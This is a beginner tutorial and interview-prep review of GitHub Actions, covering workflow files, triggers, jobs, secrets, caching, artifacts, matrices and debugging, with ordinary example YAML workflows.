The Complete GitHub Actions Guide

This is part one of three. It covers everything you need to do real work with GitHub Actions, not a teaser. By the end you can write, read, debug, and ship a production CI/CD pipeline. Mid-level and Senior take the same topics further; nothing here is thrown away.

Each section ends with a Try it task. Do them as you go. They take a few minutes each, and the concepts stick only once you have watched your own run go green.

What is GitHub Actions?

GitHub Actions is GitHub's built-in automation platform. You describe work you want done in a text file, commit that file to your repository, and GitHub runs the work for you on a computer it creates on demand.

Compare that to what it replaces.

Before this existed, automating a project meant running a separate machine (a Jenkins server, a TeamCity box, something in a cupboard) keeping it patched, giving it credentials to reach your code, and hoping the person who configured it three years ago left notes. Actions removes that entire layer. There is no server to maintain, because GitHub provisions a fresh machine for each piece of work and destroys it afterwards.

Two consequences of that design explain most of what follows. Notice them now rather than discovering them later.

The instructions live inside your repository. That means your automation is versioned, branched, and reviewed exactly like your source code. If a pipeline breaks, git log tells you who changed it and why. You can propose a change to it in a pull request and have a colleague review it before it takes effect. This sounds administrative; in practice it is the single biggest reason teams stop being afraid of their build system.

Every run starts on a clean machine. There is no leftover state from last time, no "it works on the build server because someone installed something there in 2019". This is a feature, it makes runs reproducible, but it is also the biggest source of confusion for newcomers, and we will come back to it repeatedly.

What people use it for:

To follow along you need a free GitHub account, the ability to make a commit, and a repository. Any repository, in any language, and a brand-new empty one is the best place to experiment. Public repositories get unlimited free minutes, so a playground costs you nothing.

What are CI and CD?

These two abbreviations appear in every conversation about Actions, so be precise about them. They name practices rather than tools, and Actions is one way to implement them.

The problem they solve

Imagine three people working on the same project. Every time someone finishes a change, somebody has to remember to run the tests, check the formatting, build the application, and put it on a server. Nobody enjoys that, so it gets skipped when people are busy. Broken code reaches the main branch on a Friday and nobody notices until Monday. Someone deploys from their laptop, and their laptop happens to have a different library version than the server, so it works locally and breaks in production.

Every one of those failures has the same root cause: a human being is doing the repetitive work. Humans are excellent at judgement and terrible at performing the same twelve steps identically four hundred times.

Continuous Integration

CI means every change is automatically built and tested the moment it appears.

The word "integration" is about merging work together. Historically, developers would work in isolation for weeks and then merge, a painful event because everyone's changes conflicted at once. Continuous integration means merging small changes frequently and verifying each one immediately. If someone breaks the project, they find out in four minutes rather than four days, while the change is still fresh in their mind and small enough to understand.

In practice, CI is a machine that on every push: fetches your code, installs dependencies, runs the linter, runs the type checker, runs the tests, and reports pass or fail.

Continuous Delivery and Continuous Deployment

CD means that once a change has passed all of its checks, shipping it is also automatic.

Confusingly, CD stands for two related things:

Most teams practise continuous delivery and describe it as continuous deployment. The distinction matters in interviews, and it matters when you design a pipeline: adding a human approval gate turns one into the other, and Actions supports both.

What this looks like in practice

Put together, CI/CD is a machine that watches your repository and does the boring, critical work identically every single time. The benefits compound in ways that are hard to appreciate until you have worked without them:

Where workflow files live, and why the path is fixed

Instructions for Actions go in files called workflows, and the location is exact. Get it wrong and GitHub ignores the file: no error, nothing in the Actions tab, no hint that anything is missing.

my-project/
├── .github/
│   └── workflows/          ← must be exactly this
│       ├── ci.yml          ← becomes active on commit
│       └── release.yml     ← so does this
├── src/
└── README.md

Any file in that folder ending .yml or .yaml becomes an active workflow the moment it is committed. The leading dot on .github is intentional: on Linux and macOS it makes the folder hidden, which is why you may not see it in a file browser.

YAML in five minutes, for workflow authors

Workflow files are written in YAML, a text format designed to be read by people rather than to be efficient for machines. Almost everything you will write is covered by six rules.

Indentation replaces the braces and brackets you might know from JSON. Because whitespace carries meaning, two rules are absolute: use spaces, never tabs, and keep every item at the same level in the same column.

name: Example              # a key with a text value

on: push                   # another key/value pair

jobs:                      # a key whose value is a nested structure
  build:                   #   two more spaces, so build belongs to jobs
    runs-on: ubuntu-latest
    steps:                 #   a key whose value is a list
      - run: echo one      #     list item
      - run: |             #     list item with a multi-line value
          echo two
          echo three

Your first workflow

Enough theory. Create .github/workflows/hello.yml. You can do this entirely in the browser via Add file → Create new file.

name: My First Workflow      # label shown in the Actions tab

on: push                     # the trigger: run on every push

jobs:
  greet:                     # job id — you choose this name
    runs-on: ubuntu-latest   # ask GitHub for a Linux machine
    steps:
      - name: Say hello
        run: echo "Hello from a machine that did not exist a minute ago"

      - name: Show run info
        run: |
          echo "OS         : ${{ runner.os }}"
          echo "Repo       : ${{ github.repository }}"
          echo "Pushed by  : ${{ github.actor }}"

Commit it. Committing is itself a push, so the workflow triggers immediately. Open the Actions tab and watch it run.

Now let me walk through every line, because this small file contains the entire conceptual model.

name: My First Workflow is a human label. Omit it and GitHub shows the file path instead, which is why unnamed workflows make the Actions tab hard to read.

on: push is the trigger, the doorbell. This says "run whenever commits reach any branch". Without an on: key a workflow can never run at all, which is why your notes.yml did nothing.

jobs: opens the list of work. greet: is a job id that you invent; it identifies this job in the interface and in any dependency you declare later.

runs-on: ubuntu-latest asks GitHub for a machine. This is per job, not per workflow, a deliberate design choice we unpack in the next section.

steps: is the ordered list of things to do on that machine. Each - name: / run: pair is one step: name is the label in the log, run is a shell command executed on the runner.

The | in the second step means "the following indented block is one multi-line string", so those three lines run as a small shell script within a single step.

${{ ... }} is an expression: GitHub substitutes a real value there before the command runs. runner.os becomes Linux; github.repository becomes your-name/your-repo.

What happened while you were watching

The six building blocks, nested

Every workflow you will ever read is built from six nested concepts. Getting this hierarchy solid is worth more than memorising a hundred YAML keys.

An event is something that happened in your repository. A workflow is a file saying which events it cares about and what to do. A job is a named group of work running on one machine. A step is a single task inside a job. A runner is the machine itself. An action is a reusable step someone has already written and published.

The relationship that trips up almost everyone is between jobs and steps, so let me be explicit:

This is why runs-on is a property of a job rather than the workflow: each job is asking for its own computer. It is also why splitting a pipeline into jobs is a real decision with real consequences rather than tidiness. Two jobs run in parallel and finish sooner, but they cannot hand files to each other without extra machinery.

Triggers: what starts a workflow

on: decides when a workflow runs, and it is where a lot of a pipeline's usefulness comes from. These are the triggers worth knowing on day one.

You can list several at once, and you can narrow each one so it only fires in the situations you care about:

on:
  push:
    branches: [main]                       # only main, not every branch
    tags: ['v*']                           # and any v-prefixed tag
    paths-ignore: ['docs/**', '**/*.md']   # but not doc-only changes
  pull_request:
    branches: [main]                       # PRs targeting main
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '0 3 * * *'                    # 03:00 UTC daily
  workflow_dispatch:                       # and a manual button

The five cron fields are minute hour day-of-month month day-of-week, so '0 3 * * *' reads as "minute 0 of hour 3, any day, any month, any weekday". Two things surprise people: schedules are always UTC, never your local time, and they only run from your repository's default branch, so testing one on a feature branch will drive you mad.

Manual runs with inputs

workflow_dispatch can ask for values, which turns a workflow into a small internal tool:

on:
  workflow_dispatch:
    inputs:
      environment:
        description: Where to deploy
        type: choice
        options: [staging, production]
        default: staging
      dry-run:
        description: Print actions without doing them
        type: boolean
        default: true

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "target : ${{ inputs.environment }}"
          echo "dry run: ${{ inputs.dry-run }}"

Inputs support string, boolean, choice, and environment types, and you read them through the inputs context.

Jobs: parallel by default, ordered with needs

Jobs run at the same time unless you say otherwise. needs creates ordering.

jobs:
  lint:                        # lint and test start together
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ruff check .

  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pytest -q

  deploy:
    needs: [lint, test]        # waits for BOTH to succeed
    runs-on: ubuntu-latest
    steps:
      - run: ./deploy.sh

needs builds a dependency graph. A job with no needs starts immediately; a job with needs waits for every listed job to succeed. If any of them fails, the dependent job is skipped rather than failed, a distinction that matters when you read a run summary.

The practical effect is that pipeline shape is a design choice. Three independent checks as three jobs finish in the time of the slowest one; the same three as steps in one job take the sum of all three. But the parallel version needs artifacts to move files between stages, and the sequential version does not.

Steps: run a command versus uses an action

Every step is either a shell command or a prebuilt component. That is the entire taxonomy.

A single step is one or the other. Putting run and uses in the same step is an error, and a favourite interview trick question.

steps:
  - uses: actions/checkout@v4        # action, no configuration

  - uses: actions/setup-node@v4      # action, configured
    with:
      node-version: '20'

  - name: Install                    # plain command with a label
    run: npm ci

  - name: Test with options          # multi-line, custom shell, working dir
    working-directory: ./backend
    shell: bash
    env:
      CI: 'true'
    run: |
      npm run lint
      npm test -- --coverage

Those step options solve real problems, so learn them now. working-directory runs the command somewhere other than the repository root. shell picks the interpreter: bash, sh, pwsh, python. env sets variables for that step alone. name is what appears in the log, which is the difference between a readable run and a wall of truncated commands.

Actions and the Marketplace

An action is a packaged step someone published so you do not have to write it. There are tens of thousands, but you will use these constantly:

An action is referenced as owner/repo@ref, and the ref decides what code you execute:

Runners: the machine each job gets

runs-on picks the machine. Three labels cover nearly everything: ubuntu-latest, windows-latest, and macos-latest. Ubuntu is the fastest and cheapest, and the default choice unless you have a specific reason otherwise.

GitHub's Linux runners come with a generous set of preinstalled tools: Git, Docker, several versions of Python and Node, common build toolchains, and the gh CLI. You often need less setup than you expect.

The distinction matters even though you will not need self-hosted runners for a while: they are machines you own and register yourself, for when you need specific hardware such as a GPU, a paid licence, or access to a private network. Senior covers when that is justified and the risks it introduces.

Expressions and contexts: reading the run

Expressions live inside ${{ }} and read from contexts, read-only objects describing the current run. This is how a workflow becomes aware of its own circumstances.

- name: Print useful context values
  run: |
    echo "ref        : ${{ github.ref }}"          # refs/heads/main
    echo "sha        : ${{ github.sha }}"
    echo "event      : ${{ github.event_name }}"   # push / pull_request
    echo "actor      : ${{ github.actor }}"
    echo "run number : ${{ github.run_number }}"
    echo "workspace  : ${{ github.workspace }}"

These are substituted before the command runs, which changes how you read them: by the time your shell sees the line, ${{ github.ref }} has already become literal text. That is why they work in any part of a workflow file, not just inside run.

Conditions with if

if: decides whether a step or a whole job runs. Inside if: the ${{ }} wrapper is optional, because the value is already treated as an expression.

jobs:
  deploy:
    if: github.ref == 'refs/heads/main'      # job-level condition
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Only on pull requests
        if: github.event_name == 'pull_request'
        run: ./pr-comment.sh

      - name: Only for version tags
        if: startsWith(github.ref, 'refs/tags/v')
        run: ./publish.sh

      - name: Run even if an earlier step failed
        if: always()
        run: ./collect-logs.sh

      - name: Only when something failed
        if: failure()
        run: ./notify-team.sh

The four status functions (success(), failure(), cancelled(), always()) only make sense inside if:. success() is the implicit default on every step, which is why a failed step stops the ones after it.

Environment variables, and their three scopes

Variables have three scopes, and the most specific one wins:

env:
  APP_NAME: checkout-api        # every job, every step

jobs:
  test:
    runs-on: ubuntu-latest
    env:
      LOG_LEVEL: debug          # every step in this job
    steps:
      - run: ./run.sh
        env:
          LOG_LEVEL: trace      # this step only — wins

The complication is that each run step is a new shell process, so export does not survive to the next step. GitHub solves this with special files whose paths are provided as environment variables. Appending a line to $GITHUB_ENV sets a variable for every later step in the same job:

- name: Compute a version and share it
  run: echo "VERSION=1.4.${{ github.run_number }}" >> "$GITHUB_ENV"

- name: Use it in a later step
  run: echo "building $VERSION"

There is also $GITHUB_STEP_SUMMARY, which accepts Markdown and renders it on the run page. It is the cheapest reporting you will ever add, and it means nobody has to download a file to see three numbers:

- name: Publish a summary
  run: |
    {
      echo "### Test results"
      echo "| metric | value |"
      echo "|---|---|"
      echo "| tests | 412 |"
      echo "| coverage | 91% |"
    } >> "$GITHUB_STEP_SUMMARY"

Secrets, and what they cannot protect

Secrets are encrypted values you set in Settings → Secrets and variables → Actions. You read them with ${{ secrets.NAME }}, and once stored you cannot read them back in the interface, only overwrite them.

- name: Deploy
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}     # pass as data
  run: ./deploy.sh                          # script reads "$API_TOKEN"

GITHUB_TOKEN is provided automatically for every run, no setup at all, and can act on the repository itself. It is minted per job and expires when the job ends:

permissions:
  contents: read
  pull-requests: write

steps:
  - uses: actions/github-script@v7
    with:
      script: |
        github.rest.issues.createComment({
          issue_number: context.issue.number,
          owner: context.repo.owner,
          repo: context.repo.repo,
          body: 'Build passed ✅'
        })

That permissions: block matters now even though Senior covers it properly: it controls what the automatic token is allowed to do, and declaring it narrows the token rather than widening it.

Caching: making the second run fast

The runner is new every time, which means your dependencies download every time. On a real project that is often most of the run. Caching fixes it, and for mainstream languages it is a single line:

- uses: actions/setup-python@v5
  with:
    python-version: '3.11'
    cache: pip                 # ← the whole thing

- uses: actions/setup-node@v4
  with:
    node-version: '20'
    cache: npm                 # same idea; also 'yarn', 'pnpm'

The mechanism underneath is a key: a string that identifies the cached content. The setup actions build one from your lockfile, so it changes exactly when your dependencies change. For anything the setup actions do not know about, you write the key yourself:

- uses: actions/cache@v4
  with:
    path: ~/.cache/my-tool
    key: ${{ runner.os }}-mytool-${{ hashFiles('tool.lock') }}
    restore-keys: |
      ${{ runner.os }}-mytool-

hashFiles produces a stable hash of the matched files. restore-keys is a fallback prefix tried when the exact key misses, giving a partial hit that is still much better than nothing. Mid-level goes considerably deeper on key design, because getting it wrong is the difference between a cache that helps and one that silently does nothing.

Artifacts: files that outlive the runner

The machine is destroyed when the job ends, so anything you want to keep must be uploaded before that happens.

- name: Run tests
  run: pytest -q --junitxml=reports/junit.xml --cov --cov-report=html

- name: Keep the reports
  if: always()                 # ← save them even when tests FAIL
  uses: actions/upload-artifact@v4
  with:
    name: test-reports
    path: |
      reports/
      htmlcov/
    retention-days: 7

Artifacts appear as downloadable files at the bottom of the run page. The if: always() is the important part: without it, a failing test stops the job before the upload runs, so you lose the report exactly when you need it most.

Cache and artifacts are easy to confuse, so keep this distinction:

One sentence for interviews: a cache is an optimisation you must be able to lose; an artifact is data you cannot.

Passing data between jobs, deliberately

Jobs are separate machines, so nothing crosses automatically. Strings travel as outputs; files travel as artifacts.

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.meta.outputs.version }}     # declare the output
    steps:
      - uses: actions/checkout@v4

      - id: meta                                     # the step needs an id
        run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"

      - run: make build                              # produces dist/

      - uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist/

      - run: ./deploy.sh --version "${{ needs.build.outputs.version }}"

Three things have to line up for a job output to work, and missing any one produces an empty value with no error: the step needs an id, it must write to $GITHUB_OUTPUT, and the job must declare outputs: mapping a name to that step's output. Then the dependent job reads it via the needs context.

Matrix: testing several versions at once

Copying a job four times to test four language versions is the wrong answer. A matrix generates them for you:

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false                 # let every version report
      matrix:
        python: ['3.10', '3.11', '3.12']
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python }}
          cache: pip
      - run: pip install -r requirements.txt
      - run: pytest -q

That produces three parallel jobs, each with matrix.python set to a different value. Add a second axis and they multiply:

      matrix:
        os: [ubuntu-latest, windows-latest]
        python: ['3.11', '3.12']        # 2 × 2 = four jobs
    runs-on: ${{ matrix.os }}

Understand fail-fast now. It defaults to true, which cancels every sibling job as soon as one fails. That is right when you want a fast red signal and wrong when you are diagnosing, because a single failing cell cancelling the rest hides the pattern you need to see.

Guards every workflow should have from day one

Two small settings prevent a surprising amount of pain.

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15              # default ceiling is SIX HOURS
    steps:
      - uses: actions/checkout@v4

      - name: Optional check
        continue-on-error: true      # a failure here does not fail the job
        run: ./experimental-lint.sh

The timeout is the one people skip and later regret. The default is six hours per job, and a workflow waiting on something that will never arrive consumes your entire monthly allowance before anyone notices.

Reading a failed run, in order

Debugging is a skill, and it has an order.

1. Click the red job, then the red stepGitHub expands the failure for you automatically.
2. Scroll up, not downLogs end with a tool's summary. The real cause is usually well above it.
3. Run the command on your own machineIf it fails there too, the workflow is innocent and you are debugging your project.
4. Print what you are unsure aboutpwd, ls -la, echo "$VAR", python --version. A step is just a shell.
5. Use "Re-run failed jobs"Retries only the red job instead of the whole pipeline.
6. Re-run with debug loggingThe Re-run menu has a checkbox for far more detail.

Four traps account for most beginner failures, and all four have the same root cause: a new machine each job, a new shell each step:

# Does not work
- run: export VERSION=1.2.3
- run: echo "$VERSION"        # empty

# Works
- run: echo "VERSION=1.2.3" >> "$GITHUB_ENV"
- run: echo "$VERSION"        # 1.2.3

# Does not work
- run: cd frontend
- run: npm ci

# Works
- run: npm ci
  working-directory: frontend

A complete pipeline

Everything above, in one file. Nothing here is new. Read it as a whole and you should recognise every line.

name: CI

on:
  push:
    branches: [main]
  pull_request:
    paths-ignore: ['docs/**', '**/*.md']
  workflow_dispatch:

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        python: ['3.11', '3.12']
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python }}
          cache: pip

      - name: Install dependencies
        run: pip install -r requirements.txt

      - name: Lint
        run: ruff check .

      - name: Test
        run: pytest -q --junitxml=reports/junit-${{ matrix.python }}.xml

      - name: Keep the report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: reports-${{ matrix.python }}
          path: reports/
          retention-days: 7

  build:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    timeout-minutes: 10
    outputs:
      version: ${{ steps.meta.outputs.version }}
    steps:
      - uses: actions/checkout@v4
      - id: meta
        run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
      - run: make build
      - uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist/
      - name: Deploy
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: ./deploy.sh --version "${{ needs.build.outputs.version }}"
      - name: Report
        run: echo "Deployed ${{ needs.build.outputs.version }}" >> "$GITHUB_STEP_SUMMARY"

The same shape for a JavaScript project, where only the setup action and the commands change, which is the point:

      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: npm
      - run: npm ci
      - run: npm run lint
      - run: npm test -- --coverage
      - run: npm run build

Show it off: a status badge

![CI](https://github.com/OWNER/REPO/actions/workflows/ci.yml/badge.svg)

The badge reflects the latest run on the default branch and links to the workflow's history. Add ?branch=develop to point it at a different branch.

What you can now do, and what comes next

You can write a workflow from scratch, choose triggers precisely, run jobs in parallel and order them, use and version Marketplace actions, branch on context values, manage environment variables and secrets, cache dependencies, keep artifacts, move data between jobs, test a matrix of versions, guard against hung jobs, and debug a red run. That is a working practitioner's toolkit, enough to own CI on a real project.

Mid-level takes every one of those topics further: the full context and function reference, cache key design and its two failure modes, artifact retention and collisions, matrix include/exclude/dynamic generation, plus the machinery you have not met yet: service containers for real databases, reusable workflows and composite actions, environments with approvals, and concurrency control.

Senior then covers what you own when CI/CD is your responsibility: the trust model and script injection, least-privilege permissions, OIDC instead of stored cloud keys, supply-chain controls, container builds, authoring your own actions, self-hosted runners, and running Actions as a platform across many repositories.

Part one of three. A fast review of everything in the Beginner Detailed track, in about twenty-five minutes. Fast review first, common questions at the end. Mid-level reviews this plus its own material; Senior reviews all three.

The thirty-second answer

GitHub Actions is GitHub's built-in CI/CD and automation platform. You commit a YAML file to .github/workflows/, declare which repository events trigger it, and GitHub runs the work on virtual machines it creates and destroys per job. Because the pipeline lives in the repository, it is versioned and reviewed like any other code.

Then add the sentence that shows you have used it: "each job gets a fresh machine, so it starts empty. You check your own code out, and anything crossing a job boundary goes through artifacts or outputs."

The model

One workflow, many jobs, each job many steps, each job its own machine.

The file to write on a whiteboard

Practise this until it is automatic, including the folder path.

name: CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: '3.11'
      - run: pip install -r requirements.txt
      - run: pytest -q

Mandatory keys: on, jobs, and per job runs-on and steps. Everything else, name included, is optional.

Jobs, steps

jobs:
  lint:                        # lint and test start together
    runs-on: ubuntu-latest
    steps: [{ run: ruff check . }]
  test:
    runs-on: ubuntu-latest
    steps: [{ run: pytest -q }]
  deploy:
    needs: [lint, test]        # waits for BOTH; skipped if either fails
    runs-on: ubuntu-latest
    steps: [{ run: ./deploy.sh }]

run versus uses

Mutually exclusive in one step, a favourite trick question. Steps also take options:

- name: Test the backend
  working-directory: ./backend     # cd for this step only
  shell: bash
  env:
    CI: 'true'                     # step-scoped variable
  continue-on-error: false
  run: |
    npm run lint
    npm test

Triggers and filters

on:
  push:
    branches: [main]
    tags: ['v*']
    paths-ignore: ['docs/**', '**/*.md']
  pull_request:
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '0 3 * * *'            # minute hour dom month dow, UTC
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
        default: staging

Narrowed by branches, tags, paths, paths-ignore, types.

Expressions and contexts

Conditions

Inside if: the ${{ }} wrapper is optional; everywhere else it is required.

Environment variables and the special files

Three scopes; most specific wins.

env:
  LOG_LEVEL: info            # workflow
jobs:
  test:
    env:
      LOG_LEVEL: debug       # job
    steps:
      - run: ./run.sh
        env:
          LOG_LEVEL: trace   # step — wins

Each run is a new shell, so export does not survive. Two files bridge that:

- run: echo "VERSION=1.4.${{ github.run_number }}" >> "$GITHUB_ENV"   # later steps
- run: echo "tag=sha-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"            # step output
- run: echo "### Done" >> "$GITHUB_STEP_SUMMARY"                      # run page

A $GITHUB_ENV value is not readable in the step that wrote it, and none of these cross a job boundary.

Secrets

- name: Deploy
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}    # pass as data
  run: ./deploy.sh                          # reads "$API_TOKEN"

GITHUB_TOKEN is provided automatically for every run and can act on the repository itself:

permissions:
  contents: read
  pull-requests: write

steps:
  - uses: actions/github-script@v7
    with:
      script: |
        github.rest.issues.createComment({
          issue_number: context.issue.number,
          owner: context.repo.owner,
          repo: context.repo.repo,
          body: 'Build passed ✅'
        })

Three facts to state without prompting: never echo a secret (masking is a safety net, not a strategy); pass secrets via env, not into a command line; and fork pull requests get no secrets, by design.

Caching and artifacts

- uses: actions/setup-python@v5
  with:
    python-version: '3.11'
    cache: pip                 # dependency cache, one line

- uses: actions/upload-artifact@v4
  if: always()                 # ← keep the report even when tests FAIL
  with:
    name: test-reports
    path: reports/
    retention-days: 7

One line: a cache is an optimisation you must be able to lose; an artifact is data you cannot.

Passing data between jobs

Outputs for strings, artifacts for files.

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.meta.outputs.version }}     # declare it
    steps:
      - id: meta                                     # step needs an id
        run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
      - run: make build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with: { name: dist, path: dist/ }
      - run: ./deploy.sh --version "${{ needs.build.outputs.version }}"

Matrix

strategy:
  fail-fast: false                     # let every version report
  matrix:
    python: ['3.10', '3.11', '3.12']   # → three parallel jobs
runs-on: ubuntu-latest
steps:
  - uses: actions/setup-python@v5
    with:
      python-version: ${{ matrix.python }}

Add a second axis and they multiply: two OSes × two Pythons = four jobs. fail-fast: true is the default and cancels every sibling on the first failure.

Guards and runners

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15            # default ceiling is SIX HOURS
    steps:
      - continue-on-error: true    # non-critical step may fail
        run: ./experimental.sh

Ubuntu runners already have Git, Docker, Node, Python, and gh, so no, you do not install Docker first.

The four traps, and why they share one cause

The runner is new per job; the shell is new per step.

- run: export VERSION=1.2.3
- run: echo "$VERSION"                       # empty

- run: echo "VERSION=1.2.3" >> "$GITHUB_ENV"
- run: echo "$VERSION"                       # 1.2.3

Snippets to have ready

- uses: actions/checkout@v4                       # nothing is there until this

- uses: actions/setup-node@v4                     # setup + cache in one
  with: { node-version: '20', cache: npm }

- uses: actions/upload-artifact@v4                # diagnostics survive failure
  if: always()
  with: { name: reports, path: reports/ }

- run: echo "K=v" >> "$GITHUB_ENV"                # share with later steps
- run: echo "k=v" >> "$GITHUB_OUTPUT"             # expose as a step output

timeout-minutes: 15                               # never burn six hours
if: github.ref == 'refs/heads/main'               # main only

Common interview questions

1. Where do workflow files live, and what if the path is wrong?.github/workflows/*.yml. A wrong path means the file is inert: GitHub never reads it and reports no error, which is why "my workflow isn't running" is usually a path or trigger problem, not a broken workflow.
2. Why does actions/checkout exist? Isn't my code already there?No. The runner boots empty. Checkout clones the repository at the triggering commit.
3. Do jobs run in order?No, in parallel. needs creates ordering, and also gives the later job access to the earlier one's outputs.
4. How do you pass a file from one job to another? A string?A file needs an artifact: upload in one job, download in the other. A string uses a job output fed from $GITHUB_OUTPUT and read as needs.build.outputs.version.
5. Cache versus artifact?A cache speeds up recreating something and is safe to lose; an artifact preserves a result you cannot recreate. Caches are keyed and restored automatically; artifacts are named and downloaded.
6. How do you keep the test report when tests fail?if: always() on the upload step. Without it the failed test stops the job before the upload runs.
7. Why did my variable disappear between steps? Why doesn't cd stick?Both because each run is a fresh shell. Use >> "$GITHUB_ENV" for variables and working-directory: for the directory.
8. What does @v4 mean, and would you use @main?A Git ref, a moving major-version tag that receives patches. Never @main on someone else's action: that runs whatever is on their branch when your job starts, which is a remote-code-execution surface.
9. How do you make something run only on main?A branches: [main] filter on the trigger, or if: github.ref == 'refs/heads/main' on the job, noting the value is the full ref.
10. How do you trigger a workflow by hand, and can it take parameters?Add workflow_dispatch to on:; a **Run workflow** button appears. Declare inputs with types (`string`, `boolean`, `choice`) and read them as inputs.name.
11. How do you test against several language versions?A matrix. Axes multiply into parallel jobs, and fail-fast: false stops one failure cancelling the rest, which you want while diagnosing.
12. How do you handle secrets safely?Store them in repository or environment secrets, read via ${{ secrets.NAME }}, and pass them through env rather than into a command line. Never echo them. Fork pull requests deliberately receive none.
13. What is GITHUB_TOKEN?A token minted automatically per job, scoped to that repository, expiring when the job ends. Use it for anything acting on the repository: commenting on a PR, pushing a tag, publishing to GitHub Packages.
14. How do you stop a runaway job?timeout-minutes on the job. The default ceiling is six hours, so a hung job otherwise consumes your allowance silently.
15. Free or paid?Unlimited minutes on public repositories. Private repositories get a monthly allowance; Windows and macOS minutes bill at a multiple of Linux.
16. Walk me through debugging a red run.Click the red job then the red step; read from the top of the failure, not the last line; reproduce the command locally to see whether the workflow is even implicated; print the values you are branching on; then re-run only the failed job, with debug logging if needed.
17. Your workflow is committed but nothing happens.Check the folder is exactly .github/workflows/; check the extension; read on: for a branch or path filter; confirm the file exists on the branch you pushed; if it is a schedule, remember UTC and default-branch-only.
18. How would you speed up a slow pipeline, at this level?Add cache: to the setup action, add a paths-ignore filter so documentation changes skip the suite, split independent work into parallel jobs, and put timeout-minutes on everything so a hung job is not mistaken for a slow one.

Sixty-second self-test

• Name the four nesting levels from event to step.
• List the mandatory keys of a workflow.
• Explain why files vanish between jobs but not between steps.
• State the difference between run and uses.
• Give the one-line difference between a cache and an artifact.
• Say how a string travels between jobs, and how a file does.
• Write the if for "main only" and explain the full-ref trap.
• Say what if: always() is for and where you would put it.
• Name the two files that move values out of a run step.
• Explain what a matrix generates and what fail-fast: false changes.

Part one of three. Almost every beginner problem comes from one of two things: a YAML mistake, or forgetting the runner is a brand-new empty machine. Start with the error table, then work through the habits underneath it.

Common errors at this level

The habits that pay off most

Set your editor up so it catches YAML for you

Do this before anything else. It removes an entire category of wasted runs.

[*.{yml,yaml}]
indent_style = space
indent_size = 2

Install the Red Hat YAML extension for VS Code, then turn on View → Render Whitespace → All so alignment problems become visible instead of mysterious. The .editorconfig prevents the nastiest error, because a tab in YAML is a hard parse failure whose message never says the word "tab".

"My workflow isn't running"

The most reported problem, and almost never a broken workflow. Work through these in order.

1. Check the folder path character by characterIt must be .github/workflows/, not .github/workflow/, not github/workflows/, not the repository root. A file in the wrong place is silently ignored: no error, no warning, nothing in the Actions tab.
2. Check the file extension.yml or .yaml. A file saved as ci.yml.txt looks right in a listing and does nothing.
3. Read your on: blockA branches: [main] filter means pushes to your feature branch do nothing. Correct behaviour that looks like a bug.
4. Check the file is on the branch you pushedA workflow only runs if it exists on the triggering branch. Adding CI on a feature branch and pushing elsewhere runs nothing.
5. If it is a schedule, check the timezonecron is UTC, only runs from the default branch, and is queued rather than punctual. Never test a schedule by waiting. Add workflow_dispatch and click the button.
6. Look for a parse errorA file that fails to parse appears in the Actions tab as a failed run with a YAML error. If you see nothing at all, it is one of the reasons above.

The empty-machine problems

Four failures, one root cause. Internalise "the runner starts with nothing and dies at the end" and they all become obvious.

# Does not work — the variable dies with the step
- run: export VERSION=1.2.3
- run: echo "$VERSION"          # prints nothing

# Works — written to the job's environment
- run: echo "VERSION=1.2.3" >> "$GITHUB_ENV"
- run: echo "$VERSION"          # 1.2.3

# Does not work — the directory change does not persist
- run: cd frontend
- run: npm ci

# Works
- run: npm ci
  working-directory: frontend

YAML gotchas that produce baffling errors

Handle secrets correctly from day one

# Right: the secret never appears in a command line
- name: Deploy
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}
  run: ./deploy.sh

# To check a secret exists without printing it
- run: |
    if [ -z "${API_TOKEN:-}" ]; then echo "API_TOKEN is not set" >&2; exit 1; fi
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}

Cache and artifact habits

# Free speed — use the built-in cache before reaching for actions/cache
- uses: actions/setup-node@v4
  with:
    node-version: '20'
    cache: npm

# Diagnostics that survive a red run
- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: reports-${{ matrix.python }}    # unique per matrix cell
    path: reports/
